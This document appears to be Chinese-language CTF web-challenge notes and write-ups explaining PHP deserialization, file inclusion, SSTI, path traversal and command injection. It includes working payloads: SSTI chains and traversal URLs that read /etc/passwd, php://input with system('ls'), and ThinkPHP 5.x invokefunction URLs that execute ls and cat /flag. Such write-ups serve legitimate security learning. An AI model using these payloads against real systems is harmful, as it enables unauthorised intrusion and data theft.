php序列反序列

class xctf{
public $flag = ‘111’;
public function __wakeup(){
exit(‘bad requests’);
}
?code=

WP:

代码涵盖定义了xctf类、成员flag、魔术方法wakeup、以及末尾code待传参,wakeup在序列化时会优先于其他函数被调用,所以我们传参时要利用漏洞绕开,即使序列化字符串中表示对象属性的个数大于真实属性个数(3),可写为O:4:”xctf”:2:{S:4:”flag”;S:3:”111”;},以GET方式传参,url直接拼接

easyphp

1
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){  if(isset($b) && '8b184b' === substr(md5($b),-6,6)){    $key1 = 1;    }else{      die("Emmm...再想想");    }  }else{  die("Emmm...");}

首先三个函数:

isset($a):检查$a是否被定义且不为null intval($a):将$a转换为整数并检查是否是有效数字 strlen($a)<=3:检查$a字符串长度不超过3

采用科学计数法绕过长度限制,使用a=1e9

当$a满足条件,计算$b的MD5哈希值,并提取最后6个字符并检查这6个字符是否等于’8b184b’,使用PHP脚本进行暴力爆破得b=53724

```

若上述条件都成立代码执行$key1=1,表示条件检查通过

1
2
3
4
5
6
7
8
9
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL; foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL; } $key2 = 1; }
else{ die("no hack"); }
}
else{ die("no");}

检查 $c 是否是一个有效数组

1
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){

$c需为数组,且存在m不为数字,但需大于2022,直接赋值m=2023a(php的弱类型)。当前$c=array(“m”=>’2023a’)

if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){

存在n为数组,n的值数量为2,n的第一个值为数组。得到$c=array(“m”=>’2023a’,”n”=>array(array(),0))

注:=> 是 PHP 中用于创建关联数组的运算符,表示键值对的分隔符。它将数组的键与对应的值连接起来,形成一个关联数组。

file_include(convert.iconv的使用)

1
<?phphighlight_file(__FILE__);  include("./check.php");  if(isset($_GET['filename'])){    $filename = $_GET['filename'];    include($filename);  }?>

存在文件包含,上伪协议

?filename=php://filter/read=convert.base64-encode/resource=./check.php

出现do not hack的字样,存在字符过滤

/?filename=php://filter/convert.iconv.utf8.utf16/resource=check.php

访问check.php文件里面的内容,进而访问flag.php文件拿到flag

知识点:

  1. file://协议,后面直接跟绝对路径

  2. php://filter

    (1)String Filters(字符串过滤器)

    php://filter/string.rot13/resource=flag.php //读出以后利用ROT13解码即可

    php://filter/string.toupper/resource=flag.php //转大写

    php://filter/string.tolower/resource=flag.php //转小写

    php://filter/string.strip_tags/resource=flag.php //php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除

    (2)Conversion Filters(转换过滤器)

    php://filter/convert.base64-encode/resource=flag.php //base64加密读出

    php://filter/convert.quoted-printable-encode/resource=flag.php

​ convert.iconv用法:

convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.<input-encoding>/<output-encoding>

就是编码方式

​ (3)Compression Filters(压缩过滤器)

php://filter/zlib.deflate|zlib.inflate/resource=flag.php //zlib.deflate(压缩)zlib.inflate(解压)

php://filter/bzip2.compress|bzip2.decompress/resource=flag.php //bzip2.compress(压缩)|bzip2.decompress(解压)

  1. iconv函数

    完成各种字符集间的转换

fileinclude(php命令注入)

后端代码:

$lan = $_COOKIE['language']; if(!$lan) { @setcookie("language","english"); @include("english.php"); } else { @include($lan.".php"); }

代码审计:

设置了名为language的语言cookie,如果未设置,则将该 cookie 设置为”english”并包含”english.php”文件。如果 cookie 已经设置,则包含基于 cookie 值的 PHP 文件。

漏洞利用:

将名为 language 的 cookie 设置为 php://filter/read=convert.base64-encode/resource=flag,那么在执行到代码中的以下行时:$lan = $_COOKIE['language'];

代码会将该 cookie 的值作为 PHP 文件路径,并尝试读取该文件的内容,即readfile('php://filter/read=convert.base64-encode/resource=flag');从而读取到flag文件的内容

catcat-new

session(会话控制)

存储于服务器端的特殊对象,实现服务器数据共享。

以键值对形式进行存储,以key(字符串)-value(对象)进行存放

与cookie相似,但cookie保存在客户端、存放数据量小;session保存在服务端,相对安全

flask中的session伪造问题

原理:

flask是轻量级web框架,它的session是存储在客户端,是用户可见的,这也就是造成session伪造的根本原因。

flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改

利用:

前提 得到session信息 并且 知道flask的签名的SECRET_KEY

要session伪造就必须拿到密钥 打源码打包下载 在config.py中找到密钥

任意文件读取漏洞

描述:

攻击者通过构造特殊的请求参数来绕过应用程序的访问控制,从而访问任意文件,包括密码文件、配置文件等

文件读取代码:

<?php

$filename = $_GET['file'];
if(isset($filename)){
readfile($filename);
}
?>

攻击者可以将路径遍历序列放入文件夹内,从当前位置向上回溯,从而浏览整个浏览器的任何文件。

漏洞验证:

Index.php?i=../../../../../../../../etc/passwd
Index.php?i=../index.php
Index.php?i=file:///etc/passwd

参数i的参数值为PHP文件时:

  1. 显示源代码,则是文件查看漏洞 。
  2. 文件被解析,则是文件包含漏洞。
  3. 提示下载附件,则是文件下载漏洞。

web2

php函数使用:

strlen() 函数返回字符串的长度

strrev() 反转字符串顺序

<?php
echo strrev("Hello World!");
?>

输出反转字符串 “!dlroW olleH”:

substr() 函数返回字符串的一部分。substr(string,start,length)

注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。

从字符串中返回 “world”:

ord() 函数返回字符串中第一个字符的 ASCII 值。

chr() 函数从指定 ASCII 值返回字符。并可以指定ASCII是十进制或是十六进制或是八进制。

“.” 是字符运算符,作用是把两个字符串连接起来,其使用方法:首先创建一个PHP示例文件;然后定义两个变量;最后通过“$result.$result”方式将两个变量连接起来即可

str_rot13() 函数对字符串执行 ROT13 编码。

ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。

Web_python_template_injection

(python模板注入)

  1. 输入表达式发现被执行证明存在ssti
  2. 通过python的对象的继承来一步步实现文件读取和命令执行

思路:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。

  1. 寻找可用的引用类payload:
1
"".__class__.__mro__[2].__subclasses__()
  1. 发现type’file’类,而且位置在数组第40
  2. 读取/etc/passwd文件

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

  1. 有一个 <class ‘site._Printer’>类型(可以进行命令执行),而且位置在数组第71
  2. 读取文件{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

Web_php_unserialize

四个魔术方法:

__construct() 函数,当类新建对象的时候会执行,例如,$x = new Demo(要传给函数的值)

__destruct() 函数,当对象销毁后会调用,拿上面的代码来说,新建对象后,会先执行

__wakeup() 函数,当执行反序列化函数的时候会先执行wakeup函数

highlight_file() 函数,用来输出指定PHP文件的代码

wakeup函数绕过方法:令序列化字符串中标识变量数量的值大于实际变量

两个重要常见的PHP函数

str_replace() 函数

用于替换字符串中的一些字符且区分大小写

比如把字符串 “kali linux” 中的字符 “linux” 替换成 “Windows”:

preg_match 函数

用于执行一个正则表达式匹配,每段正则表达式必须要有一对定界符,我们一般使用 / 为定界符。

$string  =  “kali linux” ;  

if  (preg_match( ‘/ka/‘ ,  $string )) {  

// 匹配正确  

}

Web_php_include

php伪协议

php:// 开头,后面跟着一些参数,用于指定 要执行的操作需要访问的资源

伪协议可看作是一种桥梁,允许使用常规的文件操作函数来处理不同的数据流。

php://input

允许访问POST请求的原始内容

strstr函数

用于查找一个字符串在另一个字符串中首次出现的位置。如果找到,它会返回从该位置开始到原字符串末尾的子串;如果没有找到,它会返回 false

代码审计

1
2
3
4
5
6
7
8
9
10
 <?php
show_source(__FILE__); //输出当前文件的内容,魔术常量__FILE__包含了当前脚本完整路径和文件名
echo $_GET['hello']; //输出url的hello GET参数中取得的值
$page=$_GET['page']; //从 URL 的 page GET参数中取得值,并将其赋值给 $page 变量
while (strstr($page, "php://"))
//使用 strstr 函数检查 $page 变量中是否包含 "php://" 字符串。如果是,则进入循环
{ $page=str_replace("php://", "", $page);}
//将$page 变量中的 "php://" 字符串替换为空字符串。即URL中的page参数包含"php://",会被删除。
include($page); //使用 include 函数来包含并执行 $page 变量指定的文件
?>

题解

  1. strstr区分大小写,大写绕过

    发送GET请求?page=PHP://input,bp抓包改包发送POST请求,查看当前目录下的文件夹

<?php system("ls"); ?>

  1. 找到可疑文件fl4gisisish3r3.php
  2. 直接改命令 cat fl4gisisish3r3.php得到flag

xff_referer

xff(X-Forwarded-For)

用于http请求头部中,以便在多个代理的情况下传递客户端的真实IP地址,追踪请求的来源

格式: client1, proxy1, proxy2(原始客户端ip,代理1,代理2)

referer

用于指示当前请求的来源URL。即,它告诉服务器请求是从哪个页面链接过来的。

command_execution(命令执行漏洞)

通过恶意代码或字符串,将其注入到web应用程序的输入参数中,使得远程执行系统命令

如下:

command1 & command2 :command1和command2都执行(也可将&换成;)

command1 && command2 :先执行command1执行成功后才会执行command2

command1 | command2 :只执行command2

command1 || command2 :command1执行失败,再执行command2

php_rce(ThinkPHP 5.x 远程命令执行漏洞)

漏洞简述

ThinkPHP5框架底层对控制器名过滤不严,可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。

POC与EXP

“Proof of Concept”(概念验证),用来证明某个漏洞是可以被利用的

“Exploit”(利用),真正用于对目标系统的攻击,通过触发漏洞来达到攻击者的目的

如果说POC只是证明漏洞可利用,EXP则是把这个利用过程完善并且武器

Thinkphp框架判断

访问router.php文件

(thinkphp中必含有这个文件)

发送get1请求

访问 xxx/?s=a出现页面错误并显示thinkphp版本号

执行poc(构造url)

  1. 以利用system函数远程执行任意代码

http://127.0.0.1/index.php  //这里是测试环境的主页

    ?s=index/think\app/invokefunction //s变量是这个漏洞利用的主要变量
    &function=call_user_func_array //漏洞存在于这个函数中
    &vars[0]=system           //这里使用了system函数进行代码执行
    &vars[1][]=pwd           //在这里输入想要执行的代码,这里是显示当前文件的路径

  1. 利用phpinfo函数显示phpinfo

...
    &vars[0]=phpinfo            //使用phpinfo函数
    &vars[1][]=1              

题解

查看根目录下的文件

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

查看 flag目录下的文件

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /flag

查看/flag文件得到flag

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag